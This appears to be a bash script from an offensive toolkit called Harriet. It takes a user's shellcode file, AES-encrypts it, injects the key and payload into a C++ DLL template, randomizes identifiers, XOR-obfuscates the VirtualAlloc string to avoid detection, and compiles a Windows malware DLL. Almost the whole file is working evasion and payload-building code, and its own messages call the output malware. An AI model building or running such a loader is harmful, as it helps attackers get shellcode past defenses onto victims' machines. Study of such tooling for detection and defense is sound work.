DLLAes.sh 4.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ___ _____ _____ _____ _ _ ______ _ _
  13. / _ \ | ___/ ___| | ___| | | | | | _ \ | | |
  14. / /_\ \| |__ \ `--. | |__ _ __ ___ _ __ _ _ _ __ | |_ ___ __| | | | | | | | |
  15. | _ || __| `--. \ | __| '_ \ / __| '__| | | | '_ \| __/ _ \/ _` | | | | | | | |
  16. | | | || |___/\__/ / | |__| | | | (__| | | |_| | |_) | || __/ (_| | | |/ /| |____| |____
  17. \_| |_/\____/\____/ \____/_| |_|\___|_| \__, | .__/ \__\___|\__,_| |___/ \_____/\_____/
  18. __/ | |
  19. |___/|_|
  20. EOF
  21. echo -e ${green}"Enter The Path To Your Shellcode File. ex: /home/user/Downloads/shellcode.bin"${clear}
  22. echo ""
  23. read Shellcode
  24. echo ""
  25. echo -e ${green}"Name Your Malware! ex: malware.exe"${clear}
  26. echo ""
  27. read MALWARE
  28. echo ""
  29. cp Harriet/DLLAES/xor.py Harriet/DLLAES/Resources/xor.py
  30. cp Harriet/DLLAES/template.cpp Harriet/DLLAES/Resources/template.cpp
  31. echo -e ${yellow}"+++Encrypting Payload+++" ${clear}
  32. echo ""
  33. sleep 2
  34. python3 Harriet/DLLAES/Resources/aesencrypt.py $Shellcode > shell.txt
  35. echo -e ${yellow}"***Encryption Completed***"${clear}
  36. echo ""
  37. cp shell.txt shell2.txt
  38. #Generate AES Key
  39. keys=$(cat "shell2.txt")
  40. cut -d 'p' -f1 shell2.txt > shell3.txt
  41. keys=$(cat shell3.txt)
  42. keysnow=${keys#*=}
  43. sed -i "s/KEYVALUE/$keysnow/g" Harriet/DLLAES/Resources/template.cpp
  44. #Generate AES Payload
  45. payload=$(cat "shell.txt")
  46. payloadnow=${payload#*;}
  47. payloadtoday=${payloadnow#*=}
  48. echo $payloadtoday > shell5.txt
  49. perl -pe 's/PAYVAL/`cat shell5.txt`/ge' -i Harriet/DLLAES/Resources/template.cpp
  50. sleep 2
  51. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-8} | head -n 1 > shell.txt
  52. Random1=$(cat shell.txt)
  53. sed -i "s/Random1/$Random1/g" Harriet/DLLAES/Resources/template.cpp
  54. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-10} | head -n 1 > shell.txt
  55. Random2=$(cat shell.txt)
  56. sed -i "s/Random2/$Random2/g" Harriet/DLLAES/Resources/template.cpp
  57. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-19} | head -n 1 > shell.txt
  58. Random3=$(cat shell.txt)
  59. sed -i "s/Random3/$Random3/g" Harriet/DLLAES/Resources/template.cpp
  60. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-16} | head -n 1 > shell.txt
  61. Random4=$(cat shell.txt)
  62. sed -i "s/Random4/$Random4/g" Harriet/DLLAES/Resources/template.cpp
  63. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-14} | head -n 1 > shell.txt
  64. Random5=$(cat shell.txt)
  65. sed -i "s/Random5/$Random5/g" Harriet/DLLAES/Resources/template.cpp
  66. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-5} | head -n 1 > shell.txt
  67. Random6=$(cat shell.txt)
  68. sed -i "s/Random6/$Random6/g" Harriet/DLLAES/Resources/template.cpp
  69. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-4} | head -n 1 > shell.txt
  70. Random7=$(cat shell.txt)
  71. sed -i "s/Random7/$Random7/g" Harriet/DLLAES/Resources/template.cpp
  72. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-2} | head -n 1 > shell.txt
  73. Random8=$(cat shell.txt)
  74. sed -i "s/Random8/$Random8/g" Harriet/DLLAES/Resources/template.cpp
  75. #VIRTUALALLOC VARIABLE NAME
  76. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  77. Random9=$(cat shell.txt)
  78. sed -i "s/Random9/$Random9/g" Harriet/DLLAES/Resources/template.cpp
  79. #XOR FUNCTION VARIABLE NAME
  80. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  81. RandomA=$(cat shell.txt)
  82. sed -i "s/RandomA/$RandomA/g" Harriet/DLLAES/Resources/template.cpp
  83. #XOR KEY VALUE
  84. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-15} | head -n 1 > shell.txt
  85. XOR_KEY=$(cat shell.txt)
  86. sed -i "s/XOR_KEY/$XOR_KEY/g" Harriet/DLLAES/Resources/template.cpp
  87. sed -i "s/XOR_KEY/$XOR_KEY/g" Harriet/DLLAES/Resources/xor.py
  88. #XOR KEY VARIABLE
  89. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-17} | head -n 1 > shell.txt
  90. XOR_VARIABLE=$(cat shell.txt)
  91. sed -i "s/XOR_VARIABLE/$XOR_VARIABLE/g" Harriet/DLLAES/Resources/template.cpp
  92. rm shell.txt
  93. #VIRTUALALLOC - XOR String
  94. echo VirtualAlloc > virt.txt
  95. python3 Harriet/DLLAES/Resources/xor.py virt.txt > virtalloc.txt
  96. virt=$(cat virtalloc.txt)
  97. virt2="${virt::-8}"
  98. sed -i "s/VIRALO/$virt2/g" Harriet/DLLAES/Resources/template.cpp
  99. rm virt*
  100. echo -e ${yellow}"+++Compiling Malware+++"${clear}
  101. x86_64-w64-mingw32-g++ -shared -o $MALWARE Harriet/DLLAES/Resources/template.cpp -fpermissive -Wno-narrowing >/dev/null 2>&1
  102. echo ""
  103. sleep 2
  104. rm shell*
  105. echo -e ${yellow}"***Malware Compiled***"${clear}
  106. echo ""